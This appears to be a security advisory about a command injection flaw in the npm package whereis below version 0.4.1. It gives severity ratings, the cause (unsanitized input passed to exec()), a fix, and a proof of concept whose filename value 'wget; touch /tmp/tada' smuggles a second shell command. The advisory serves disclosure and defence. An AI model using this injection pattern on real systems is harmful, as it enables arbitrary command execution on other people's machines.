Arbitrary Command Injection Affecting whereis Open this link in a new tab package, versions <0.4.1


0.0
critical
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Scope

    Changed

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    npm:whereis:20180401

  • published

    2 Apr 2018

  • disclosed

    1 Apr 2018

  • credit

    ChALkeR

Overview

whereis is a tool to get the first path to a bin on any system.

Affected versions of this package are vulnerable to Arbitrary Command Injection. It concatenates unsanitized user input into exec() command

PoC by ChALkeR

var whereis = require('whereis');
var filename = 'wget; touch /tmp/tada';
whereis(filename, function(err, path) {
  console.log(path);
});

Observe file /tmp/tada created.

Remediation

Upgrade whereis to version 0.4.1 or higher.